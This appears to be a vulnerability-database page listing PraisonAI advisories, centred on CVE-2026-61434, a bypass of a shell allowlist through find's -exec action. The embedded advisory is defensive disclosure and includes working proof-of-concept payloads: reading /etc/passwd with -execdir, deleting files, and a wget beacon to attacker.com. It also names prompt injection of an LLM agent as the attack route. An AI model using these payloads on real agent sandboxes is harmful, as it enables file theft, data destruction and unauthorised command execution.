Vulnerabilities in pkg:pypi/praisonai
PACKAGECVE-2026-61434 is a HIGH (CVSS 8.8) shell command allowlist bypass vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves shell command allowlist bypass via find -exec built-in action. Remediation is available by upgrading affected packages to version 4.6.78.
pkg:pypi/praisonai
Vulnerability advisories affecting package pkg:pypi/praisonai. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-cv3g-hj65-pcfh | CVE-2026-61434 | HIGH | PraisonAI: Shell command allowlist bypass via find -exec built-in action |
| GHSA-9mp3-24cc-77mg | CVE-2026-61445 | CRITICAL | PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls |
| GHSA-wj29-gm8v-33x8 | - | CRITICAL | Duplicate Advisory: PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls |
| GHSA-hc5v-gxvj-58wh | CVE-2026-61427 | HIGH | PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface |
| GHSA-5866-9272-qcfv | - | MODERATE | Duplicate Advisory: PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface |
| GHSA-5r6c-gj4g-r697 | CVE-2026-60085 | HIGH | PraisonAI: SecurityPolicy command/path/import restrictions are completely unenforced by the default SubprocessSandbox backend |
| GHSA-4w49-gwv8-fpjg | CVE-2026-60091 | HIGH | PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF |
| GHSA-3wrm-pm5v-8vq8 | - | MODERATE | Duplicate Advisory: PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF |
| GHSA-4r3p-w3mc-5v34 | CVE-2026-60086 | MODERATE | PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked |
| GHSA-5c3v-h6hw-4gx7 | - | MODERATE | Duplicate Advisory: PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked |
| GHSA-79fv-7hq9-w7xg | CVE-2026-61433 | HIGH | PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source |
| GHSA-2gpf-2492-q9jh | CVE-2026-61435 | HIGH | PraisonAI: Call API localhost-only authentication bypass via spoofed Host header |
| GHSA-qpq9-hwx9-cwgc | - | HIGH | Duplicate Advisory: PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source |
| GHSA-gp65-m7q3-4vjw | - | HIGH | Duplicate Advisory: PraisonAI: Call API localhost-only authentication bypass via spoofed Host header |
| GHSA-q7m5-3jmv-vm48 | CVE-2026-61431 | MODERATE | PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace |
| GHSA-w37c-cq55-frjp | - | MODERATE | Duplicate Advisory: PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace |
| GHSA-xpx6-x8c2-mw5w | CVE-2026-60088 | MODERATE | PraisonAI: Project custom command templates can read outside-workspace files into model prompts |
| GHSA-wgvq-3jxh-4qg7 | - | MODERATE | Duplicate Advisory: PraisonAI: Project custom command templates can read outside-workspace files into model prompts |
| GHSA-wf65-4jjx-q444 | CVE-2026-60090 | MODERATE | PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL |
| GHSA-q65p-7p84-495c | - | CRITICAL | Duplicate Advisory: PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL |
| GHSA-mhgx-w3w5-2rvc | - | CRITICAL | Duplicate Advisory: PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets |
| GHSA-5r2q-3wg3-57m2 | - | HIGH | Duplicate Advisory: PraisonAI: Prompt Injection Defense Bypassed for HIGH-Level Threats |
| GHSA-7c92-x8vg-4258 | CVE-2026-61436 | HIGH | PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents |
| GHSA-qj9c-59p6-8cgx | CVE-2026-61428 | HIGH | PraisonAI: AgentMail webhook lacks signature verification, allowing unauthenticated message injection and sender spoofing |
| GHSA-4mp6-8448-9vgv | - | MODERATE | Duplicate Advisory: PraisonAI: AgentMail webhook lacks signature verification, allowing unauthenticated message injection and sender spoofing |
| GHSA-m64w-vfg6-36ph | - | HIGH | Duplicate Advisory: PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents |
| GHSA-jxcw-qp4h-6jfq | CVE-2026-57146 | HIGH | PraisonAI A2U incomplete authentication fix leaves current serve command unauthenticated by default |
| GHSA-29w3-p9w9-wc47 | CVE-2026-57145 | CRITICAL | PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation |
| GHSA-6jcq-6546-qrrw | CVE-2026-57144 | HIGH | PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable |
| GHSA-7qw2-w5rc-37x2 | CVE-2026-57142 | HIGH | PraisonAI recipe workflow policy can be bypassed by declaring and YAML-approving dangerous tools outside TEMPLATE.yaml |
| GHSA-8ccj-p46r-jwqq | CVE-2026-57132 | HIGH | PraisonAI: PRAISONAI_CALL_AUTH=disabled environment variable unconditionally disables authentication |
| GHSA-fq2m-6wqh-x44g | CVE-2026-57131 | CRITICAL | PraisonAI: Jobs API exposes agent-execution endpoints with no authentication |
| GHSA-j4hj-7hfh-g2f4 | CVE-2026-57127 | CRITICAL | praisonai: recipe serve auth middleware silently disables itself when no secret is set |
| GHSA-4869-x4pr-q22x | CVE-2026-57125 | CRITICAL | PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass |
| GHSA-p75f-6fp4-p57w | CVE-2026-57124 | CRITICAL | PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai |
| GHSA-x92v-rpx6-p6cw | CVE-2026-57122 | HIGH | PraisonAI: Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots) |
| GHSA-rjvw-7vvw-549v | CVE-2026-57114 | HIGH | PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding |
| GHSA-p4pj-vh7h-6cqh | CVE-2026-57119 | HIGH | PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API |
| GHSA-w6h2-fr4q-xvxv | CVE-2026-57117 | HIGH | PraisonAI: Compute-bridged file tools allow shell command injection |
| GHSA-892r-p3jq-jp24 | CVE-2026-57116 | CRITICAL | PraisonAI: AgentOS remains unauthenticated after incomplete fix version and allows remote agent invocation |
| GHSA-f44v-7qgw-9gh9 | CVE-2026-57113 | HIGH | PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion |
| GHSA-vmf9-xx9w-86wx | CVE-2026-57112 | HIGH | PraisonAI ToolsMCPServer legacy SSE transport accepts attacker Host/Origin and exposes registered tools |
| GHSA-63v4-w882-g4x2 | CVE-2026-56840 | HIGH | PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools |
| GHSA-gcq3-mfvh-3x25 | CVE-2026-56839 | HIGH | PraisonAI Code agent tools fail open without a workspace boundary |
| GHSA-v847-hxxw-3pxg | CVE-2026-56838 | HIGH | PraisonAI recipe.run_stream skips dangerous-tool policy enforcement |
| GHSA-fc26-m9pf-v56q | CVE-2026-56837 | HIGH | PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing |
| GHSA-5qw8-f2g9-ff29 | CVE-2026-56836 | HIGH | PraisonAI recipe serve Typer command bypasses the non-localhost authentication guard |
| GHSA-qvpf-j64c-jmhr | CVE-2026-56835 | HIGH | PraisonAI Slack app_mention bypasses configured user/channel authorization |
| GHSA-j7qx-p75m-wp7g | CVE-2026-56834 | HIGH | PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage |
| GHSA-22cj-m4wf-fv2c | CVE-2026-56833 | HIGH | PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal |
| GHSA-8579-rgg5-ph2m | CVE-2026-56832 | HIGH | PraisonAI DiscordApproval accepts unrelated channel messages as dangerous-tool approvals |
| GHSA-fwh2-95jw-g4j6 | - | HIGH | Duplicate Advisory: PraisonAI has Memory State Leakage and Path Traversal in MultiAgent Context Handling |
| GHSA-x44p-gg67-52fc | - | MODERATE | Duplicate Advisory: PraisonAI: Coarse-Grained Tool Approval Cache Bypasses Per-Invocation Consent for Shell Commands |
| GHSA-xcmw-grxf-wjhj | CVE-2026-44334 | HIGH | PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass) |
| GHSA-rg3h-x3jw-7jm5 | CVE-2026-41496 | HIGH | PraisonAI: SQL Injection via unvalidated `table_prefix` in 9 conversation store backends (incomplete fix for CVE-2026-40315) |
| GHSA-9qhq-v63v-fv3j | CVE-2026-41497 | CRITICAL | PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection |
| GHSA-2g3w-cpc4-chr4 | CVE-2026-40156 | HIGH | PraisonAI Vulnerable to Implicit Execution of Arbitrary Code via Automatic `tools.py` Loading |
| GHSA-2763-cj5r-c79m | CVE-2026-40088 | CRITICAL | PraisonAI Vulnerable to OS Command Injection |
| GHSA-hwg5-x759-7wjg | CVE-2026-39891 | HIGH | PraisonAI has Template Injection in Agent Tool Definitions |
| GHSA-32vr-5gcf-3pw2 | CVE-2026-39890 | CRITICAL | PraisonAI Vulnerable to Remote Code Execution via YAML Deserialization in Agent Definition Loading |
| GHSA-f292-66h9-fpmf | CVE-2026-39889 | HIGH | PraisonAI Has Unauthenticated SSE Event Stream that Exposes All Agent Activity in A2U Server |
| GHSA-r4f2-3m54-pp7q | CVE-2026-34955 | HIGH | PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox |
| GHSA-98f9-fqg5-hvq5 | CVE-2026-34953 | CRITICAL | PraisonAI Has Authentication Bypass via OAuthManager.validate_token() |
| GHSA-cfh6-vr3j-qc3g | CVE-2026-34952 | CRITICAL | PraisonAI Has Missing Authentication in WebSocket Gateway |
| GHSA-8w9j-hc3g-3g7f | CVE-2026-34939 | MODERATE | PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools() |
| GHSA-x6m9-gxvr-7jpv | CVE-2026-34936 | HIGH | PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback |
| GHSA-9gm9-c8mq-vq7m | CVE-2026-34935 | CRITICAL | PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command() |
| GHSA-9cq8-3v94-434g | CVE-2026-34934 | CRITICAL | PraisonAI Has Second-Order SQL Injection in `get_all_user_threads` |
CVE-2026-61434 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-61434
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonai>=4.6.78
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonai
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-61434, inspect your installed packages using pip:
pip show praisonai
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.78), your application is affected.
Note: The pip show praisonai command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-61434 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonai
|
PyPI |
< 4.6.78
|
4.6.78
|
References
Frequently Asked Questions
What is CVE-2026-61434?
Which PraisonAI versions are affected?
What version fixes CVE-2026-61434?
Is praisonai affected?
What is the CVSS score of CVE-2026-61434?
What CWE is associated with CVE-2026-61434?
How can I check PyPI dependencies for CVE-2026-61434?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cv3g-hj65-pcfh",
"modified" : "2026-10-08T22:00:55Z",
"published" : "2026-10-08T22:00:55Z",
"aliases" : [ "CVE-2026-61434" ],
"summary" : "PraisonAI: Shell command allowlist bypass via find -exec built-in action",
"details" : "### Summary\n\nThe shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action.\n\nThe fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).\n\n### Details\n\n**Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked.\n\nHowever, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts):\n\n```\nfind /path -exec <command> {} +\n```\n\nThe `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex.\n\n**Affected components** (4 implementations, same gap):\n\n| # | Component | File | Gap |\n|---|---|---|---|\n| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist |\n| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` |\n| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` |\n| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` |\n\n**Bypass analysis**:\n\n| Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result |\n|---|---|---|\n| Metachar regex `/[;|&\\`><]/` | `{`, `}`, `+` are not in regex | PASS |\n| Regex `/\\$\\([^)]*\\)/` | No `$(...)` | PASS |\n| `safeCommands.includes('find')` | `find` IS in allowlist | PASS |\n| SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS |\n| `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS |\n\nThe `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string.\n\n**Preconditions**:\n\n| Precondition | How attacker obtains | Default? |\n|---|---|---|\n| Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |\n| `find` binary on target | Standard Unix utility, present on Linux/macOS | Y |\n| `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y |\n\n### PoC\n\n**1. Data exfiltration via -execdir (utility-tools.ts)**\n\n```javascript\nconst { shell } = require('praisonai/dist/tools/utility-tools');\n\nasync function poc() {\n // Control: direct 'wget' is rejected (not in safeCommands)\n const control = await shell('wget http://example.com');\n console.log('[CONTROL] rejected:', !control.success); // true\n\n // Bypass: find -execdir reads /etc/passwd via find's built-in action\n const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');\n console.log('[BYPASS]:', bypass.success); // true\n console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...\n}\npoc();\n```\n\nCode path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: \"<passwd contents>\"}`.\n\n**2. File deletion**\n\n```javascript\nawait shell('find /app/uploads -name \"*.bak\" -delete');\n// -delete is a find built-in — clean exit 0, files deleted\n```\n\n**3. Non-allowlisted command (side-effect based)**\n\n```javascript\nawait shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');\n// HTTP request fires as side effect before find returns non-zero\n```\n\n**4. Python safe_shell**\n\n```python\nfrom praisonai.cli.features.safe_shell import safe_execute\n\nresult = safe_execute(\"find /etc -name passwd -maxdepth 1 -execdir cat {} +\")\nprint(result.stdout) # root:x:0:0:root:/root:/bin/bash ...\n```\n\n### Impact\n\nAn attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:\n\n- **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned)\n- **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0)\n- **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code)\n\nShell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc.\n\nSame severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.\n\n### Suggested fix\n\n**Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix.\n\n**Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags.\n\n**Regression tests**:\n```typescript\ntest('rejects find -exec', async () => {\n expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);\n});\ntest('rejects find -execdir', async () => {\n expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);\n});\ntest('rejects find -delete', async () => {\n expect((await shell('find /app -name \"*.bak\" -delete')).success).toBe(false);\n});\n```\n\n### References\n\n- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)\n- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)\n- Fix commits: 2adfe7e, 2f9677a (2026-06-13)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.6.78"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.6.77"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cv3g-hj65-pcfh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61434"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/praisonai-before-allowlist-bypass-via-find-exec"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-693", "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T22:00:55Z",
"nvd_published_at" : null
}
}